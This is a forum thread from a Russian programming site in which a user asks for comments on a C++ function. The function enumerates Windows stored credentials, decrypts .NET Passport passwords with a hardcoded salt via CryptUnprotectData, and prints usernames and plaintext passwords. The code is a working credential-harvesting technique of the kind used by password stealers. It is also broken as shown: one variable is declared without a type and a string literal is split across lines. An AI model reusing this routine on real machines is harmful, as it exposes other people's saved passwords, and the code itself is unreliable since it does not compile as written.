Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

нужны коментарии к коду - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Паттерн Service Layer (Сервисный уровень) http://www.cyberforum.ru/cpp-beginners/thread248733.html
Если у кого есть материал по данной теме просьба поделиться или скинуть ссылку.
C++ Найти масимальный и минимальный элементы матрицы и поменять их местами Дан двумерный массив размерностью NxM (N и M дятся с клавиатуры). Найти масимальный и минимальный элементы данного массива и поменять их местами. Произвести вывод данного массива в виде матрицы. ... http://www.cyberforum.ru/cpp-beginners/thread248726.html
Дан массив целых чисел C++
Дан массив целых чисел.Найти сумму и количество всех элементов массива,кратных 3 и 5. Помогите решить пожалуйста,только если можно без особых примочек а то будут спрашивать а я не 'б' не 'м'..
C++ Найти сумму элементов, имеющих нечетные индексы
Дан одномерный массив MAS. Окончание ввода элементов является 0. Найти сумму элементов, имеющих нечетные индексы. Слабо решить?))) Добавлено через 2 часа 9 минут ????)
C++ C++ Дан одномерный массив состоящий из целых чисел. http://www.cyberforum.ru/cpp-beginners/thread248718.html
Дан одномерный массив состоящий из целых чисел.Найти количество элементов массива,значения которых больше заданного числа А и кратных 5. Помогите решить пожалуйста,только если можно без особых...
C++ Файловый ввод\вывод 1.Имена входного файла и выходного задать, используя аргументы командного ряда. 2.Размеры матриц задаются в первым рядах входного файла. 3.Выходной файл должен содержать : а.Начальные матрици или... подробнее

Показать сообщение отдельно
axcap
Сообщений: n/a

нужны коментарии к коду - C++

26.02.2011, 11:39. Просмотров 317. Ответов 0
Метки (Все метки)

Всем привет, кто нибудь может написать коментарии к коду

Код
void EnumerateDotNetPassportPassword()
{
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DATA_BLOB OptionalEntropy;
tmpSalt[37];
char *strSalt={"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"};

char strCredentials[1024];
char strUsername[1024];
char strPassword[1024];


for(int i=0; i< 37; i++)
tmpSalt[i] = (short int)(strSalt[i] * 4);

OptionalEntropy.pbData = (BYTE *)&tmpSalt;
OptionalEntropy.cbData = 74;

DWORD Count;
PCREDENTIAL *Credential;


if(CredEnumerate(NULL,0,&Count,&Credential))
{
  for(int i=0;i<Count;i++)
  {
    if( Credential[i]->Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD)
    {
       DataIn.pbData = (BYTE *)Credential[i]->CredentialBlob;
       DataIn.cbData = Credential[i]->CredentialBlobSize;

       sprintf_s(strUsername, 1024, "%S", Credential[i]->UserName);

       if(CryptUnprotectData(&DataIn, NULL, 
                             &OptionalEntropy, NULL,NULL,0,&DataOut))
       {
           
           sprintf_s(strPassword, 1024, "%S", DataOut.pbData);

           printf(".Net Passport Account details, 
                  Username=%s, Password=%s", strUsername, strPassword);

       }

     }

  } 

  CredFree(Credential);
}

}
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru